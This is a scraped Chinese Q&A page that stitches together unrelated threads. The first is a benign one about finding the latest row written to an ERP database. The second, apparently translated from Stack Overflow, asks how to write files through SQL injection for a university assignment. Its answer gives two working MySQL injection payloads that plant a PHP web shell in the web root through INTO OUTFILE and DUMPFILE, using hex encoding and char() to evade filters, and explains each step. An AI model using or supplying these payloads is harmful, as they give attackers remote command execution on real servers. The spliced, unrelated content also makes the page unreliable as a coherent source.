sql中如何查询刚写入数据库的东西

Posted

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了sql中如何查询刚写入数据库的东西相关的知识,希望对你有一定的参考价值。

我遇到一个问题,程序转入过来的数据,我需要从数据库里查询出来,但是这个转入的东西又是随时变化的,我怎么才能查询出来最近写入的第一条数据呢
由于数据库是erp的软件的数据库,我想查出最近录入的数据,做一个外接的查询程序。自动查询,如果修改数据库表结构会对软件的稳定性有影响的。我就是问一下数据库里有没有一个预设的字段查出最新的一条数据。

你写的问题很不明确哟,因为别人不知道你的数据是如何记录的,要查最后一条记录,有许多方式,比如你的数据库有一个自动递增型的自字段,那你只要看那个字段段的最大值对应的记录就是最后一条记录,如果你的数据库有一个字段专门记录转入过来数据的时间,那从时间上也能看出最后是哪条,如果没有任何标记,那一般最后一条记录应当是最近转入过来的数据,毕竞数据也是按照从先到后的顺序记入进你的数据表的。另外,假如你数据表没有用到任何关键字,系统应当默认使用第一个字段为排序方式吧。 参考技术A 给你个折中的方法
不知道对不对
记录上一次操作最后一条的id 然后...查询该id之后的第一条数据
参考技术B 加个批次号嘛,查最大批次号就是最近写入的第一条数据了

如何使用 SQL 注入写入文件?

【中文标题】如何使用 SQL 注入写入文件?【英文标题】:How do I write files using SQL injection? 【发布时间】:2020-01-29 07:29:38 【问题描述】:

注意:查询是以登录形式而不是 url 形式编写的。

所以基本上我正在尝试为大学作业执行一些 sql 注入。我正在尝试编写一个文件,然后将该文件加载到数据库中。我的权限具有文件访问权限和几乎所有权限。托管数据库的服务器位于我正在使用的计算机外部。但是,我发现数据库的路径目录是

/var/lib/mysql

所以我想也许我可以执行以下操作将文件写入此位置。

' UNION SELECT 1, INTO OUTFILE ('/var/lib/mysql/example.txt');-- '

但是,似乎没有任何效果。

如果服务器未托管在我的计算机上(即外部),我如何编写文件。

【问题讨论】:

【参考方案1】:

1.寻找mysql默认文件路径。“显示变量如'%secure%';”如果 'secure_file_priv' 不是 "/var/lib/mysql/",进入 outfile ('/var/lib/mysql/example.txt') disable.into outfile 文件路径应该是 'secure_file_priv' 路径。

secure_file_priv /var/lib/mysql-files/ 选择 1 到 OUTFILE '/var/lib/mysql-files/example.txt' 2.如果OUTFILE存在,[Err] 1086 - 文件已经存在

【讨论】:

那么为什么在 1 之后或 2 之前没有逗号?【参考方案2】:

是的,您可以通过多种方式使用 SQL 注入写入文件

' INTO OUTFILE '/var/www/html/shell.php' LINES TERMINATED BY 0x3C3F706870206563686F20223C7072653E22202E207368656C6C5F6578656328245F4745545B22636D64225D29202E20223C2F7072653E223B3F3E-- -

所以让我们稍微打破这个查询。首先,我们使用 (') 从原始查询中分离出来,然后我们告诉查询将输出发送到 /var/www/html 中名为 shell.php 的文件,在我的情况下,这是网络服务器的位置 (INTO OUTFILE '/var/www/html/shell.php')

最后,我们有一些十六进制字符可以解码为

<?php echo "<pre>" . shell_exec($_GET["cmd"]) . "</pre>";?>

这实际上是绕过某些过滤器的好方法,并且我们可以避免弄乱可能破坏查询的引号。

此外,您还可以通过其他方式写入文件,例如

'+UNION+ALL+SELECT+'',concat(char(60),'?php+echo+shell_exec($_GET["cmd"])+?',char(62))+INTO+dumpfile+'/var/www/html/test.php'+--+

通过滥用 MySql 的 char 命令来绕过 &lt;/&gt; 限制。

【讨论】:

以上是关于sql中如何查询刚写入数据库的东西的主要内容,如果未能解决你的问题,请参考以下文章

如何将java逻辑写入sql查询

如何在shell 中将sql语句执行结果写入日志中

sql 对同一字段进行模糊查询时如何将两个条件写入一个like中

写入msql数据库中的内容有冒号,如何查询出来

delphi SQL查询并显示

asp.net做考勤系统要用到SQL数据库的job吗